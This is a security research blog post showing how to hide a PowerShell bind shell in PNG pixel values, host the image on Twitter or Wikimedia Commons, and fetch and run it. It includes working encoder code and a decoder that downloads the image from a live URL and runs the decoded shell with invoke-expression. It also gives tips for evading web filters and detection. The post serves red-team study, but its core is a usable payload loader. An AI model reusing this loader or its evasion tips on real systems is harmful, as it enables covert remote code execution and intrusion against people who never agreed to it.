Skip to Main Content
March 16, 2023

Shells in Plain Sight - Storing Payloads in the Cloud

Written by TrustedSec
Research

THIS POST WAS WRITTEN BY @NYXGEEK

I stumbled upon an old side project the other day -- it was a tool to get payloads through web content filters by hiding PowerShell in images on public sites. For example, this tweet from 2018 contains a bind shell encoded in the image, hosted by Twitter.

Figure 1 - Tweet Containing Shell

While I don't regularly use this technique, and I'm not the first to use it by any means, I think it's a lot of fun and worth sharing.

TL;DR: Encode payload in image file, host it publicly, and nobody's the wiser.

Intro

Today, we are going to be exploring storing our shells in "the cloud" by encoding them in images in publicly accessible locations.

This idea isn't new. Steganography has existed since the early days of computing. I remember a news article a few years back where hacker organizations had used social media posts on Instagram to control malware botnets (This story is neat, and the hackers actually used a comment on the post with some Unicode delimiters to craft a URL).

Lastly, before we start: caveat emptor. Just know that while this should, in theory, be hard to notice, if somebody knew where to look, it would be trivial to extract the shell. If you're using a reverse shell or storing data, you probably don't want to leave it out anywhere long-term.

The Concept

There are a few ways we could do this. To start, let's think about what an image file is. An image is really just a series of pixels of different colors. Each pixel's data is encoded as RGB (Red, Green, and Blue). However, some formats such as PNG store their data with an additional dimension: Alpha, aka transparency. This results in a modified set, with RGBa values (Red, Green, Blue, Alpha). For this exercise, we'll look at encoding our shell into the RGBa data.

Figure 2 - RGB Values

To encode our data, we will need to overwrite some RGB values. Now, modifying any of the values (R, G, B, A) is probably okay. We could store our data in any of those values. However, one of these values stands out as a "better" option. That is the Alpha channel, aka the transparency channel. While R, G, and B control the actual color output, the alpha channel is generally less noticeable.

So now we just have to figure out: how can we store our code in the alpha channel (Or the Red, Green, or Blue channels)? Well, here is where some knowledge about ASCII comes in handy. ASCII has character codes from 0 - 127.

These character codes are the decimal representation of all the printable (A-Z, a-z, 0-9, etc.), and non-printable (Return, Newline, NULL, etc.) characters that exist.

Figure 3 - ASCII Table

That makes this project super easy, since RGB values all fall within the 0 - 255 range. We will encode our characters into decimal representation and store them in the image.

We've almost got a complete idea worked out here. We just have one last obstacle: How will our decoder ring know when it has reached the end of our encoded script?

To solve this problem, we will use a classic solution: a delimiter. This delimiter will be a character or a combination of values that will let the script know it has reached the end of the encoded data. In this case, we could set 2 or 3 pixels in a row with specific RGB values (e.g. (255, 255, 42, 42), (255, 255, 42, 42)).

The Code

Encoder

In order to encode something onto an image, we are first going to read it in. We will then modify the attributes, and re-write those values to a file, resulting in our tampered image.

PowerShell is able to read in an image as an array of RGBa values:

$BitMap = $null

[void][reflection.assembly]::loadwithpartialname("system.drawing")

$originalimagepath = "C:\Users\nyxgeek\Desktop\kilroy500.png"

$BitMap = [System.Drawing.Bitmap]::FromFile((Get-Item $originalimagepath).fullname)

In this instance, we are loading a file named "kilroy500.png".

Figure 4 - kilroy500.png

Next, the code needs an input file to read the malicious code from:

$inputpowershellpath = "C:\Users\nyxgeek\Desktop\bindshell_one-liner.ps1"

$inputstring = Get-Content -Path $inputpowershellpath | Out-String

The bind shell that we are using is just a simple PowerShell one-liner. Any PowerShell will work, so long as it fits within the size constraints of the image.

Figure 5 - PowerShell to Encode

Now let's consider our encoding strategy. The more bits of image data we use, the more we can fit into our data. However, there's a risk because if we use a combination of the R, G, and B channels, and attempt to encode our data over parts of the image, we'll see that it introduces some obviously "bad" pixels that don't match the image.

However, if we use the Alpha (transparency) channel, we don't see as much (or any) of an issue with the image. Now here's a caveat: Alpha channels only exist in PNG image format. They do not exist in JPEG/JPG. Keep that in mind, because some services only support one or the other image format.

In this particular instance, for the PoC we are actually going to be encoding our data in the RED channel, and to a limited extent, the ALPHA channel.

Why? I honestly don't recall. I wrote this code 5+ years ago, and that's how I encoded the payload that's on Twitter and Wikimedia Commons, and so that's what we're stuck with.

Once we have read in the image and the payload, the payload is converted to ASCII codes. This ASCII code is then used to create our modified pixel value, with the data encoded in the RED channel.

foreach ($char in $inputlist){

    [int]$decnumber = $([int][char]$char)

    #echo "inputlist item: $decnumber,  col is $colnumber, rownumber is $rownumber"

    $BitMap.SetPixel($colnumber,$rownumber,[System.Drawing.Color]::FromArgb("$decnumber",128,128))

    if (  $colnumber -eq $($width-1) ){

        #echo "modulus condition triggered for $colnumber"

        $rownumber+=1

        $colnumber = 0

    }

    $colnumber+=1

}

In this particular instance, instead of reading in the original RGB values and writing them back, I took a shortcut and told it to write out greyish (where the GREEN and BLUE values are equal). Greys occur any time in RGB where the 3 values are roughly the same. (E.g., RGB values of 128, 128, 128. Or, RGB values of 80,80,80) For anything beyond a proof-of-concept, you'll want to take some time and map out the correct color values from the original bitmap array. Alternately, you can always choose target images that are mostly grey and/or pixelated.

Finally, we want to stamp a terminator on our encoded image. This will let our reader know that it has reached the end of valid data.

$BitMap.SetPixel($colnumber,$rownumber,[System.Drawing.Color]::FromArgb(42,42,128,128))

In this case, we are setting both the ALPHA and RED channels to 42, and the GREEN AND BLUE values to 128. This is unlikely to randomly occur on its own.

The entire code can be viewed here: https://github.com/nyxgeek/imgdevil

If we run the encoder, we can see that it creates an image file. If you look carefully at the top border of the image you can see our lazy encoding, as it resulted in a grey line. This could be avoided by properly encoding and using the ALPHA channel as opposed to the RED channel as our primary data carrier.

Decoder

Next, we will write up our secret decoder ring. To extract the code from the image we must first read in the entire image. We will then iterate through each alpha value and add that to an array. Once the reader hits our delimiter value (R: 42, A: 42), it then runs the PowerShell code that it decoded.

PowerShell Decoder Ring

# reads in image file - in this instance, from a tweeted image

# other good candidates would be: wikimedia/wikipedia, any place you

# can post an image

# @nyxgeek / YOLO - TrustedSec 2017 - 2018

function readIMGDevil(){

        $tempString = ""

        Foreach($y in (0..($BitMap.Height-1))) {

           Foreach($x in (1..($BitMap.Width-1))) {

                    $Pixel = $BitMap.GetPixel($X,$Y)

                    $pixelValue = "$($pixel.R.tostring())"

                    if ( [int]$pixelValue -lt 128 ){

                        $alphaValue = "$($pixel.A.toString())"

                        # LOOK FOR OUR END OF FILE INDICATOR - we had set our terminating char by changing alpha to be 42 and R to be 42

                        if ( ([int]$pixelValue -eq 42) -And ( "$alphaValue"-eq "42" ) ){

                            return $tempString

                        }

                        $tempstring+="$([char]([convert]::toint16($pixelValue)))"

}}}}        

[Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms");

$webpath = "https://pbs.twimg.com/media/DUUb7yQVQAEGZDp.png"

$r = [System.Net.WebRequest]::Create("$webpath")

$resp = $r.GetResponse()

if ( $resp -ne $null ){

$Bitmap = [System.Drawing.Bitmap]::FromStream($resp.GetResponseStream())

#echo "$(readIMGDevil)"

invoke-expression "$(readIMGDevil)"

}

Before:

After:

And to verify that it works, we'll connect with Netcat:

To see what the shell is pulling down, we can uncomment the 'echo' line, check that the shell is decoding correctly, and that it's opening up on port 443.

Limitations

Treat anything you hide in an image as public. I'm honestly not sure how detectable this technique is. As long as you're not using the shell, I think detection chances are pretty low. I think it's unlikely that people are scanning for PNGs with transparency and examining for hidden information, but it's still possible. Obviously, this is entry level steganography. If a defender saw the PowerShell commands that were run, they would have no problem extracting the shell.

Remember, each character that is encoded will take up one pixel of the image. Choose a large enough image file to write to. To determine this, you can take the height in pixels multiplied by the width in pixels (w*h = total pixels). That's how many characters you can encode max (including delimiter).

Making it Harder to Spot

As stated, we need to move away from a visible channel. Going to the ALPHA channel will take care of this. Remember though, this is not possible with other image formats such as JPG that lack ALPHA.

To make this harder to detect, we could encode on every other Alpha pixel. We could rotate our values so that they are shifted from the base ASCII decimal values. We could use some pattern (primes until 19 and repeat: 1, 3, 5, 7, 11, 13, 17, 19). It doesn't have to be a real pattern, but it could be a pattern held in an array. Again though, file size is going to be a limiting factor here.

Finally, remember that this won't necessarily escape detection. While it may hide where it came from, it is still running an Invoke-Expression command, which would likely be flagged by EDR.

Cloud Storage Locations

So where could we store these? Anywhere you can upload a PNG image. Two main targets could be in Tweets (Twitter), or as an upload to Wikimedia Commons.

Wikimedia Commons

This one was posted June 8, 2018

https://commons.wikimedia.org/wiki/File:Kilroy_was_here_-_old.png

The actual file location is:

https://upload.wikimedia.org/wikipedia/commons/a/aa/Kilroy_was_here_-_old.png

Twitter

This one was posted January 24, 2018:

Note: Many profile photos are stored as JPEGs, so this particular encoding method would not work (as JPEG lacks an ALPHA channel). Twitter profile photos and Github profile photos were tested, but found to use JPEG, or translated an uploaded PNG to JPEG.

That's it! With some modification to the PoC, you should be able to get past many popular web filters. However, you're still on your own when it comes to landing the execution.